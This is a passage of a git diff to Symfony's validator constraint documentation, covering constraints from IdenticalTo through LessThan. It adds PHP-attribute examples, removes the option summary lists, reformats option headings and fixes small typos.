+++ b/reference/constraints/IdenticalTo.rst
@@ -13,11 +13,6 @@ To force that a value is *not* identical, see
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalTo`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IdenticalToValidator`
 ==========  ===================================================================
@@ -54,6 +49,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\IdenticalTo('Mary')]
+            protected $firstName;
+
+            #[Assert\IdenticalTo(
+                value: 20,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index e8b492bf4ae..408341427db 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -13,35 +13,6 @@ of the documentation on this constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowLandscape`_
-            - `allowLandscapeMessage`_
-            - `allowPortrait`_
-            - `allowPortraitMessage`_
-            - `allowSquare`_
-            - `allowSquareMessage`_
-            - `corruptedMessage`_
-            - `detectCorrupted`_
-            - `groups`_
-            - `maxHeight`_
-            - `maxHeightMessage`_
-            - `maxPixels`_
-            - `maxPixelsMessage`_
-            - `maxRatio`_
-            - `maxRatioMessage`_
-            - `maxWidth`_
-            - `maxWidthMessage`_
-            - `mimeTypes`_
-            - `mimeTypesMessage`_
-            - `minHeight`_
-            - `minHeightMessage`_
-            - `minPixels`_
-            - `minPixelsMessage`_
-            - `minRatio`_
-            - `minRatioMessage`_
-            - `minWidth`_
-            - `minWidthMessage`_
-            - `sizeNotDetectedMessage`_
-            - See :doc:`File </reference/constraints/File>` for inherited options
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Image`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ImageValidator`
 ==========  ===================================================================
@@ -100,6 +71,24 @@ that it is between a certain size, add the following:
             protected $headshot;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Image(
+                minWidth: 200,
+                maxWidth: 400,
+                minHeight: 200,
+                maxHeight: 400,
+            )]
+            protected $headshot;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -180,6 +169,22 @@ following code:
             protected $headshot;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Image(
+                allowLandscape: false,
+                allowPortrait: false,
+            )]
+            protected $headshot;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -230,15 +235,15 @@ This constraint shares all of its options with the :doc:`File </reference/constr
 constraint. It does, however, modify two of the default option values and
 add several other options.
 
-allowLandscape
-~~~~~~~~~~~~~~
+``allowLandscape``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
 If this option is false, the image cannot be landscape oriented.
 
-allowLandscapeMessage
-~~~~~~~~~~~~~~~~~~~~~
+``allowLandscapeMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is landscape oriented ({{ width }}x{{ height }}px).
 Landscape oriented images are not allowed``
@@ -254,15 +259,15 @@ Parameter         Description
 ``{{ width }}``   The current width
 ================  =============================================================
 
-allowPortrait
-~~~~~~~~~~~~~
+``allowPortrait``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
 If this option is false, the image cannot be portrait oriented.
 
-allowPortraitMessage
-~~~~~~~~~~~~~~~~~~~~
+``allowPortraitMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is portrait oriented ({{ width }}x{{ height }}px).
 Portrait oriented images are not allowed``
@@ -278,8 +283,8 @@ Parameter         Description
 ``{{ width }}``   The current width
 ================  =============================================================
 
-allowSquare
-~~~~~~~~~~~
+``allowSquare``
+~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
@@ -287,8 +292,8 @@ If this option is false, the image cannot be a square. If you want to force
 a square image, then leave this option as its default ``true`` value
 and set `allowLandscape`_ and `allowPortrait`_ both to ``false``.
 
-allowSquareMessage
-~~~~~~~~~~~~~~~~~~
+``allowSquareMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is square ({{ width }}x{{ height }}px).
 Square images are not allowed``
@@ -304,8 +309,8 @@ Parameter         Description
 ``{{ width }}``   The current width
 ================  =============================================================
 
-corruptedMessage
-~~~~~~~~~~~~~~~~
+``corruptedMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image file is corrupted.``
 
@@ -314,8 +319,8 @@ is corrupted.
 
 This message has no parameters.
 
-detectCorrupted
-~~~~~~~~~~~~~~~
+``detectCorrupted``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -325,16 +330,16 @@ function, which requires the `PHP GD extension`_ to be enabled.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-maxHeight
-~~~~~~~~~
+``maxHeight``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the height of the image file must be less than or equal to this
 value in pixels.
 
-maxHeightMessage
-~~~~~~~~~~~~~~~~
+``maxHeightMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image height is too big ({{ height }}px).
 Allowed maximum height is {{ max_height }}px.``
@@ -350,16 +355,16 @@ Parameter             Description
 ``{{ max_height }}``  The maximum allowed height
 ====================  =========================================================
 
-maxPixels
-~~~~~~~~~
+``maxPixels``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the amount of pixels of the image file must be less than or equal to this
 value.
 
-maxPixelsMessage
-~~~~~~~~~~~~~~~~
+``maxPixelsMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image has to many pixels ({{ pixels }} pixels).
 Maximum amount expected is {{ max_pixels }} pixels.``
@@ -377,16 +382,16 @@ Parameter             Description
 ``{{ width }}``       The current image width
 ====================  =========================================================
 
-maxRatio
-~~~~~~~~
+``maxRatio``
+~~~~~~~~~~~~
 
 **type**: ``float``
 
 If set, the aspect ratio (``width / height``) of the image file must be less
 than or equal to this value.
 
-maxRatioMessage
-~~~~~~~~~~~~~~~
+``maxRatioMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image ratio is too big ({{ ratio }}).
 Allowed maximum ratio is {{ max_ratio }}``
@@ -402,16 +407,16 @@ Parameter            Description
 ``{{ ratio }}``      The current (invalid) ratio
 ===================  ==========================================================
 
-maxWidth
-~~~~~~~~
+``maxWidth``
+~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the width of the image file must be less than or equal to this
 value in pixels.
 
-maxWidthMessage
-~~~~~~~~~~~~~~~
+``maxWidthMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image width is too big ({{ width }}px).
 Allowed maximum width is {{ max_width }}px.``
@@ -427,28 +432,28 @@ Parameter            Description
 ``{{ width }}``      The current (invalid) width
 ===================  ==========================================================
 
-mimeTypes
-~~~~~~~~~
+``mimeTypes``
+~~~~~~~~~~~~~
 
 **type**: ``array`` or ``string`` **default**: ``image/*``
 
 You can find a list of existing image mime types on the `IANA website`_.
 
-mimeTypesMessage
-~~~~~~~~~~~~~~~~
+``mimeTypesMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This file is not a valid image.``
 
-minHeight
-~~~~~~~~~
+``minHeight``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the height of the image file must be greater than or equal to this
 value in pixels.
 
-minHeightMessage
-~~~~~~~~~~~~~~~~
+``minHeightMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image height is too small ({{ height }}px).
 Minimum height expected is {{ min_height }}px.``
@@ -464,16 +469,16 @@ Parameter             Description
 ``{{ min_height }}``  The minimum required height
 ====================  =========================================================
 
-minPixels
-~~~~~~~~~
+``minPixels``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the amount of pixels of the image file must be greater than or equal to this
 value.
 
-minPixelsMessage
-~~~~~~~~~~~~~~~~
+``minPixelsMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image has too few pixels ({{ pixels }} pixels).
 Minimum amount expected is {{ min_pixels }} pixels.``
@@ -491,16 +496,16 @@ Parameter             Description
 ``{{ width }}``       The current image width
 ====================  =========================================================
 
-minRatio
-~~~~~~~~
+``minRatio``
+~~~~~~~~~~~~
 
 **type**: ``float``
 
 If set, the aspect ratio (``width / height``) of the image file must be greater
 than or equal to this value.
 
-minRatioMessage
-~~~~~~~~~~~~~~~
+``minRatioMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image ratio is too small ({{ ratio }}).
 Minimum ratio expected is {{ min_ratio }}``
@@ -516,16 +521,16 @@ Parameter            Description
 ``{{ ratio }}``      The current (invalid) ratio
 ===================  ==========================================================
 
-minWidth
-~~~~~~~~
+``minWidth``
+~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the width of the image file must be greater than or equal to this
 value in pixels.
 
-minWidthMessage
-~~~~~~~~~~~~~~~
+``minWidthMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image width is too small ({{ width }}px).
 Minimum width expected is {{ min_width }}px.``
@@ -541,8 +546,8 @@ Parameter            Description
 ``{{ width }}``      The current (invalid) width
 ===================  ==========================================================
 
-sizeNotDetectedMessage
-~~~~~~~~~~~~~~~~~~~~~~
+``sizeNotDetectedMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The size of the image could not be detected.``
 
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index 9d744d54c09..5e0a039e763 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -7,11 +7,6 @@ IPv6 and many other combinations.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `normalizer`_
-            - `payload`_
-            - `version`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Ip`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IpValidator`
 ==========  ===================================================================
@@ -36,6 +31,19 @@ Basic Usage
             protected $ipAddress;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Ip]
+            protected $ipAddress;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -82,8 +90,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This is not a valid IP address.``
 
@@ -106,8 +114,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-version
-~~~~~~~
+``version``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``4``
 
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 17881aa9a75..860004691eb 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -3,15 +3,12 @@ IsFalse
 
 Validates that a value is ``false``. Specifically, this checks to see if
 the value is exactly ``false``, exactly the integer ``0``, or exactly the
-string "``0``".
+string ``'0'``.
 
 Also see :doc:`IsTrue <IsTrue>`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IsFalse`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsFalseValidator`
 ==========  ===================================================================
@@ -58,6 +55,24 @@ method returns **false**:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\IsFalse(
+                message: "You've entered an invalid state."
+            )]
+            public function isStateInvalid()
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -97,16 +112,18 @@ method returns **false**:
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addGetterConstraint('stateInvalid', new Assert\IsFalse([
-                    'message' => 'You've entered an invalid state.',
+                    'message' => "You've entered an invalid state.",
                 ]));
             }
-        }
 
-        public function isStateInvalid()
-        {
-            // ...
+            public function isStateInvalid()
+            {
+                // ...
+            }
         }
 
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
+
 Options
 -------
 
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index 252c23d934b..9bf4273c111 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -9,9 +9,6 @@ Also see :doc:`NotNull <NotNull>`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IsNull`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsNullValidator`
 ==========  ===================================================================
@@ -39,6 +36,19 @@ of an ``Author`` class exactly equal to ``null``, you could do the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\IsNull]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index 2698ad233e9..91076f4e1e4 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -2,15 +2,12 @@ IsTrue
 ======
 
 Validates that a value is ``true``. Specifically, this checks if the value is
-exactly ``true``, exactly the integer ``1``, or exactly the string ``"1"``.
+exactly ``true``, exactly the integer ``1``, or exactly the string ``'1'``.
 
 Also see :doc:`IsFalse <IsFalse>`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\IsTrue`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsTrueValidator`
 ==========  ===================================================================
@@ -60,6 +57,24 @@ Then you can validate this method with ``IsTrue`` as follows:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            protected $token;
+
+            #[Assert\IsTrue(message: 'The token is invalid.')]
+            public function isTokenValid()
+            {
+                return $this->token == $this->generateToken();
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -111,6 +126,8 @@ Then you can validate this method with ``IsTrue`` as follows:
 
 If the ``isTokenValid()`` returns false, the validation will fail.
 
+.. include:: /reference/constraints/_null-values-are-valid.rst.inc
+
 Options
 -------
 
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index e30d4e96040..d9ce6d46bbc 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -6,13 +6,6 @@ is either a valid ISBN-10 or a valid ISBN-13.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `bothIsbnMessage`_
-            - `groups`_
-            - `isbn10Message`_
-            - `isbn13Message`_
-            - `message`_
-            - `payload`_
-            - `type`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Isbn`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsbnValidator`
 ==========  ===================================================================
@@ -37,12 +30,28 @@ on an object that will contain an ISBN.
             /**
              * @Assert\Isbn(
              *     type = "isbn10",
-             *     message = "This value is not  valid."
+             *     message = "This value is not valid."
              * )
              */
             protected $isbn;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Book.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Book
+        {
+            #[Assert\Isbn(
+                type: Assert\Isbn::ISBN_10,
+                message: 'This value is not valid.',
+            )]
+            protected $isbn;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -51,7 +60,7 @@ on an object that will contain an ISBN.
                 isbn:
                     - Isbn:
                         type: isbn10
-                        message: This value is not  valid.
+                        message: This value is not valid.
 
     .. code-block:: xml
 
@@ -65,7 +74,7 @@ on an object that will contain an ISBN.
                 <property name="isbn">
                     <constraint name="Isbn">
                         <option name="type">isbn10</option>
-                        <option name="message">This value is not  valid.</option>
+                        <option name="message">This value is not valid.</option>
                     </constraint>
                 </property>
             </class>
@@ -84,7 +93,7 @@ on an object that will contain an ISBN.
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
                 $metadata->addPropertyConstraint('isbn', new Assert\Isbn([
-                    'type' => 'isbn10',
+                    'type' => Assert\Isbn::ISBN_10,
                     'message' => 'This value is not valid.',
                 ]));
             }
@@ -95,8 +104,8 @@ on an object that will contain an ISBN.
 Available Options
 -----------------
 
-bothIsbnMessage
-~~~~~~~~~~~~~~~
+``bothIsbnMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is neither a valid ISBN-10 nor a valid ISBN-13.``
 
@@ -118,8 +127,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-isbn10Message
-~~~~~~~~~~~~~
+``isbn10Message``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid ISBN-10.``
 
@@ -139,8 +148,8 @@ Parameter        Description
 
     The ``{{ label }}`` parameter was introduced in Symfony 5.2.
 
-isbn13Message
-~~~~~~~~~~~~~
+``isbn13Message``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid ISBN-13.``
 
@@ -160,8 +169,8 @@ Parameter        Description
 
     The ``{{ label }}`` parameter was introduced in Symfony 5.2.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -183,8 +192,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-type
-~~~~
+``type``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
diff --git a/reference/constraints/Isin.rst b/reference/constraints/Isin.rst
index c646f33a53a..d547798f6d6 100644
--- a/reference/constraints/Isin.rst
+++ b/reference/constraints/Isin.rst
@@ -6,9 +6,6 @@ Validates that a value is a valid
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Isin`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IsinValidator`
 ==========  ===================================================================
@@ -33,6 +30,19 @@ Basic Usage
             protected $isin;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/UnitAccount.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class UnitAccount
+        {
+            #[Assert\Isin]
+            protected $isin;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 6cc5734aaa2..5d2013988c8 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -6,11 +6,6 @@ Validates that a value is a valid
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `caseSensitive`_
-            - `groups`_
-            - `message`_
-            - `payload`_
-            - `requireHyphen`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Issn`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\IssnValidator`
 ==========  ===================================================================
@@ -35,6 +30,19 @@ Basic Usage
             protected $issn;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Journal.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Journal
+        {
+            #[Assert\Issn]
+            protected $issn;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -79,8 +87,8 @@ Basic Usage
 Options
 -------
 
-caseSensitive
-~~~~~~~~~~~~~
+``caseSensitive``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` default: ``false``
 
@@ -89,8 +97,8 @@ When switching this to ``true``, the validator requires an upper case 'X'.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` default: ``This value is not a valid ISSN.``
 
@@ -111,8 +119,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-requireHyphen
-~~~~~~~~~~~~~
+``requireHyphen``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` default: ``false``
 
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 6e8318077da..c76c7cf3edc 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -5,8 +5,6 @@ Validates that a value has valid `JSON`_ syntax.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Json`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\JsonValidator`
 ==========  ===================================================================
@@ -35,6 +33,21 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
             private $chapters;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Book.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Book
+        {
+            #[Assert\Json(
+                message: "You've entered an invalid Json."
+            )]
+            private $chapters;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -82,8 +95,8 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
 Options
 -------
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be valid JSON.``
 
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index dac3e2819db..5fe5c93426c 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -6,10 +6,6 @@ Validates that a value is a valid language *Unicode language identifier*
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `alpha3`_
-            - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Language`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LanguageValidator`
 ==========  ===================================================================
@@ -34,6 +30,19 @@ Basic Usage
             protected $preferredLanguage;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\Language]
+            protected $preferredLanguage;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -88,7 +97,7 @@ alpha3
 **type**: ``boolean`` **default**: ``false``
 
 If this option is ``true``, the constraint checks that the value is a
-`ISO 639-2`_ three-letter code (e.g. French = ``fra``) instead of the default
+`ISO 639-2 (2T)`_ three-letter code (e.g. French = ``fra``) instead of the default
 `ISO 639-1`_ two-letter code (e.g. French = ``fr``).
 
 .. include:: /reference/constraints/_groups-option.rst.inc
@@ -116,4 +125,4 @@ Parameter        Description
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
-.. _`ISO 639-2`: https://en.wikipedia.org/wiki/List_of_ISO_639-2_codes
+.. _`ISO 639-2 (2T)`: https://en.wikipedia.org/wiki/List_of_ISO_639-2_codes
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 365aedfb585..7baed971032 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -5,17 +5,6 @@ Validates that a given string length is *between* some minimum and maximum value
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowEmptyString`_
-            - `charset`_
-            - `charsetMessage`_
-            - `exactMessage`_
-            - `groups`_
-            - `max`_
-            - `maxMessage`_
-            - `min`_
-            - `minMessage`_
-            - `normalizer`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Length`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LengthValidator`
 ==========  ===================================================================
@@ -23,8 +12,8 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LengthValidator`
 Basic Usage
 -----------
 
-To verify that the ``firstName`` field length of a class is between "2"
-and "50", you might add the following:
+To verify that the ``firstName`` field length of a class is between ``2``
+and ``50``, you might add the following:
 
 .. configuration-block::
 
@@ -48,6 +37,25 @@ and "50", you might add the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Participant.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Participant
+        {
+            #[Assert\Length(
+                min: 2,
+                max: 50,
+                minMessage: 'Your first name must be at least {{ limit }} characters long',
+                maxMessage: 'Your first name cannot be longer than {{ limit }} characters',
+            )]
+            protected $firstName;
+        }
+
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -110,8 +118,8 @@ and "50", you might add the following:
 Options
 -------
 
-allowEmptyString
-~~~~~~~~~~~~~~~~
+``allowEmptyString``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean``  **default**: ``false``
 
@@ -130,8 +138,8 @@ empty strings not valid.
 
     This option does not have any effect when no minimum length is given.
 
-charset
-~~~~~~~
+``charset``
+~~~~~~~~~~~
 
 **type**: ``string``  **default**: ``UTF-8``
 
@@ -139,8 +147,8 @@ The charset to be used when computing value's length with the
 :phpfunction:`mb_check_encoding` and :phpfunction:`mb_strlen`
 PHP functions.
 
-charsetMessage
-~~~~~~~~~~~~~~
+``charsetMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value does not match the expected {{ charset }} charset.``
 
@@ -174,8 +182,8 @@ Parameter          Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -184,8 +192,8 @@ the given value's length is **greater** than this max value.
 
 This option is required when the ``min`` option is not defined.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is too long. It should have {{ limit }} characters or less.``
 
@@ -201,8 +209,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -215,8 +223,8 @@ It is important to notice that NULL values and empty strings are considered
 valid no matter if the constraint required a minimum length. Validators
 are triggered only if the value is not blank.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is too short. It should have {{ limit }} characters or more.``
 
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index abd0aab721c..22ebce5c094 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -8,11 +8,6 @@ than another value, see :doc:`/reference/constraints/GreaterThan`.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `propertyPath`_
-            - `value`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
@@ -49,6 +44,24 @@ The following constraints ensure that:
             protected $age;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan(5)]
+            protected $siblings;
+
+            #[Assert\LessThan(
+                value: 80,
+            )]
+            protected $age;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -126,6 +139,19 @@ that a date must be in the past like this:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan('today')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -185,6 +211,19 @@ dates. If you want to fix the timezone, append it to the date string:
             protected $dateOfBirth;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Person.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Person
+        {
+            #[Assert\LessThan('today UTC')]
+            protected $dateOfBirth;
+        }
+
     .. code-block:: yaml
 
